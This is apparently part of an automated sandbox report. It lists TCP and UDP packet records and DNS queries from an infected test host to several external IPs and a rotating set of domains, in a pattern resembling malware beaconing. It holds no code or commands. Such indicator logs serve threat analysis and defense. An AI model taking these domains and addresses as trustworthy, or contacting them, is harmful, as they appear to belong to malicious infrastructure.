Mar 20, 2023 15:24:35.758992910 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759028912 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759064913 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759100914 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759136915 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759268045 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.759310961 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.759324074 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759371042 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759408951 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759675026 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.759675026 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.759798050 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759845018 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.759960890 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.760130882 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.760155916 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.760201931 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:35.760540009 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.760910034 CET	49915	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:24:35.809895039 CET	80	49915	88.212.206.251	192.168.11.20
Mar 20, 2023 15:24:40.776046038 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:40.907546043 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:40.907902002 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:40.908020020 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.045238018 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045335054 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045402050 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045464993 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045527935 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045563936 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.045589924 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045645952 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.045660973 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045725107 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045787096 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045813084 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.045850992 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.045892954 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.046042919 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.177112103 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177203894 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177270889 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177333117 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177393913 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177434921 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.177463055 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177505970 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.177531958 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177604914 CET	80	49916	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:41.177613020 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:41.177789927 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:42.416012049 CET	49916	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.431895018 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.566123009 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.566442966 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.566442966 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.707235098 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707329035 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707405090 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707477093 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707530975 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.707535982 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707591057 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707659960 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707684040 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.707719088 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707753897 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.707787037 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707849979 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.707895994 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.708039999 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.841586113 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841675043 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841738939 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841809988 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841851950 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841875076 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.841888905 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841926098 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841979980 CET	80	49917	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:43.841988087 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.842097998 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:43.842252970 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:45.071590900 CET	49917	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.087677956 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.219863892 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.220709085 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.222233057 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.222305059 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.222373009 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.354506969 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.354758024 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.354873896 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.354949951 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.355130911 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.355174065 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.355278015 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.355370998 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.355433941 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.355849981 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.399521112 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.487344980 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.487445116 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.487514973 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.487545967 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.487627983 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.487723112 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.487878084 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:46.487901926 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.487982988 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.488035917 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.488099098 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.488145113 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.488189936 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.488253117 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.488337040 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.530164003 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.619963884 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.620063066 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.620130062 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.620193005 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.620589018 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.621629953 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.621732950 CET	80	49918	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:46.622035980 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:47.727375984 CET	49918	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:48.743238926 CET	49919	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:48.877248049 CET	80	49919	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:48.877626896 CET	49919	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:48.877739906 CET	49919	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:49.012408972 CET	80	49919	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:49.012517929 CET	80	49919	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:49.012758970 CET	49919	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:49.013010979 CET	49919	80	192.168.11.20	45.56.79.23
Mar 20, 2023 15:24:49.146459103 CET	80	49919	45.56.79.23	192.168.11.20
Mar 20, 2023 15:24:54.022929907 CET	49921	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:54.051955938 CET	80	49921	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:54.052125931 CET	49921	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:54.052347898 CET	49921	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:54.081032991 CET	80	49921	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:54.084836006 CET	80	49921	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:54.084896088 CET	80	49921	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:54.085047007 CET	49921	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:55.553925037 CET	49921	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:56.569592953 CET	49922	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:56.598037004 CET	80	49922	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:56.598382950 CET	49922	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:56.598488092 CET	49922	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:56.626955986 CET	80	49922	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:56.630625010 CET	80	49922	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:56.630707979 CET	80	49922	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:56.631009102 CET	49922	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:58.100018978 CET	49922	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.115809917 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.145039082 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.145311117 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.145911932 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.146060944 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.175257921 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175338030 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175386906 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175430059 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175476074 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175477982 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.175523043 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175570011 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175580978 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.175616980 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175810099 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.175863981 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.175966978 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.176186085 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.185359001 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.204818010 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.204893112 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.204942942 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.204988003 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.205148935 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.205266953 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:24:59.205286980 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.205357075 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.205403090 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.205446959 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.205713987 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.205763102 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.234483957 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.234563112 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.234611034 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.234657049 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.234956980 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.235057116 CET	80	49923	2.57.90.16	192.168.11.20
Mar 20, 2023 15:24:59.235272884 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:25:00.646356106 CET	49923	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:25:01.661942959 CET	49924	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:25:01.690886021 CET	80	49924	2.57.90.16	192.168.11.20
Mar 20, 2023 15:25:01.691154003 CET	49924	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:25:01.691287994 CET	49924	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:25:01.719789028 CET	80	49924	2.57.90.16	192.168.11.20
Mar 20, 2023 15:25:01.726972103 CET	80	49924	2.57.90.16	192.168.11.20
Mar 20, 2023 15:25:01.727010012 CET	80	49924	2.57.90.16	192.168.11.20
Mar 20, 2023 15:25:01.727281094 CET	49924	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:25:01.727427959 CET	49924	80	192.168.11.20	2.57.90.16
Mar 20, 2023 15:25:01.756125927 CET	80	49924	2.57.90.16	192.168.11.20
Mar 20, 2023 15:25:06.739202023 CET	49925	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:06.753506899 CET	80	49925	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:06.753752947 CET	49925	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:06.753923893 CET	49925	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:06.768192053 CET	80	49925	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:06.769948006 CET	80	49925	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:06.770009995 CET	80	49925	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:06.770138979 CET	49925	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:08.269793034 CET	49925	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:09.285557985 CET	49926	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:09.299978971 CET	80	49926	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:09.300163031 CET	49926	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:09.300405979 CET	49926	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:09.314663887 CET	80	49926	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:09.317117929 CET	80	49926	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:09.317195892 CET	80	49926	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:09.317373037 CET	49926	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:10.816165924 CET	49926	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.831847906 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.845971107 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.846196890 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.847230911 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.847287893 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.847307920 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.861319065 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.861361980 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.861387014 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.861457109 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.861483097 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.861527920 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.861581087 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.861609936 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.861659050 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.861834049 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.861959934 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.875690937 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.875756979 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.875782013 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.875922918 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.875983000 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.876070023 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876111984 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876140118 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876163960 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876188040 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876272917 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876380920 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876415014 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.876466990 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.876517057 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:11.876677036 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890130043 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890167952 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890368938 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890414000 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890439034 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890750885 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890798092 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890822887 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890846968 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890928030 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.890959024 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.892467022 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.892514944 CET	80	49927	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:11.892673016 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:13.362483978 CET	49927	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:14.378074884 CET	49928	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:14.392791986 CET	80	49928	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:14.393106937 CET	49928	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:14.393106937 CET	49928	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:14.407722950 CET	80	49928	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:14.409591913 CET	80	49928	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:14.409673929 CET	80	49928	217.160.0.217	192.168.11.20
Mar 20, 2023 15:25:14.410118103 CET	49928	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:14.410119057 CET	49928	80	192.168.11.20	217.160.0.217
Mar 20, 2023 15:25:14.424841881 CET	80	49928	217.160.0.217	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 15:18:02.592252970 CET	61808	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:18:02.608556032 CET	53	61808	1.1.1.1	192.168.11.20
Mar 20, 2023 15:19:18.531541109 CET	55784	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:19:18.711512089 CET	53	55784	1.1.1.1	192.168.11.20
Mar 20, 2023 15:19:33.949167967 CET	57043	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:19:34.082026005 CET	53	57043	1.1.1.1	192.168.11.20
Mar 20, 2023 15:19:47.336872101 CET	56868	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:19:48.350766897 CET	56868	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:19:48.455698967 CET	53	56868	9.9.9.9	192.168.11.20
Mar 20, 2023 15:20:01.864418030 CET	53952	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:20:01.883713961 CET	53	53952	9.9.9.9	192.168.11.20
Mar 20, 2023 15:20:14.548655987 CET	60813	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:20:14.876192093 CET	53	60813	9.9.9.9	192.168.11.20
Mar 20, 2023 15:20:28.718548059 CET	57261	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:20:29.266885042 CET	53	57261	9.9.9.9	192.168.11.20
Mar 20, 2023 15:20:43.120465040 CET	63464	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:20:43.541076899 CET	53	63464	9.9.9.9	192.168.11.20
Mar 20, 2023 15:21:01.256917000 CET	58868	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:21:01.581758022 CET	53	58868	9.9.9.9	192.168.11.20
Mar 20, 2023 15:21:15.082705021 CET	53705	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:21:15.100657940 CET	53	53705	9.9.9.9	192.168.11.20
Mar 20, 2023 15:21:23.158859015 CET	61151	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:21:23.171194077 CET	53	61151	9.9.9.9	192.168.11.20
Mar 20, 2023 15:21:35.843214989 CET	50777	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:21:35.862637043 CET	53	50777	9.9.9.9	192.168.11.20
Mar 20, 2023 15:21:48.528294086 CET	63391	53	192.168.11.20	9.9.9.9
Mar 20, 2023 15:21:49.542886019 CET	63391	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:21:50.192517996 CET	53	63391	1.1.1.1	192.168.11.20
Mar 20, 2023 15:21:50.282391071 CET	53	63391	9.9.9.9	192.168.11.20
Mar 20, 2023 15:23:40.617893934 CET	52217	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:23:40.659782887 CET	53	52217	1.1.1.1	192.168.11.20
Mar 20, 2023 15:23:53.302267075 CET	54884	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:23:53.482983112 CET	53	54884	1.1.1.1	192.168.11.20
Mar 20, 2023 15:24:06.127868891 CET	50481	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:24:06.316566944 CET	53	50481	1.1.1.1	192.168.11.20
Mar 20, 2023 15:24:19.062555075 CET	51447	53	192.168.11.20	1.1.1.1
Mar 20, 2023 15:24:19.372790098 CET	53	51447	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 20, 2023 15:18:02.592252970 CET	192.168.11.20	1.1.1.1	0x1c4d	Standard query (0)	www.wittofitentertainment.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:18.531541109 CET	192.168.11.20	1.1.1.1	0x98a8	Standard query (0)	www.interactive-media.ru	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:33.949167967 CET	192.168.11.20	1.1.1.1	0xba84	Standard query (0)	www.cardinialethanol.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:47.336872101 CET	192.168.11.20	1.1.1.1	0x75cf	Standard query (0)	www.flaviosilva.online	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:19:48.350766897 CET	192.168.11.20	9.9.9.9	0x75cf	Standard query (0)	www.flaviosilva.online	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:01.864418030 CET	192.168.11.20	9.9.9.9	0x4fad	Standard query (0)	www.solya-shop.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:14.548655987 CET	192.168.11.20	9.9.9.9	0xe38e	Standard query (0)	www.buymyenergy.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:28.718548059 CET	192.168.11.20	9.9.9.9	0x120a	Standard query (0)	www.184411.com	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:20:43.120465040 CET	192.168.11.20	9.9.9.9	0x5dd8	Standard query (0)	www.b-tek.media	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:01.256917000 CET	192.168.11.20	9.9.9.9	0x4796	Standard query (0)	www.dexmart.xyz	A (IP address)	IN (0x0001)	false
Mar 20, 2023 15:21:15.082705021 CET	192.168.11.20	9.9.9.9	0x3a80	Standard query (0)	www.finelinetackdirect.com	A (IP address)	IN (0x0001)	false
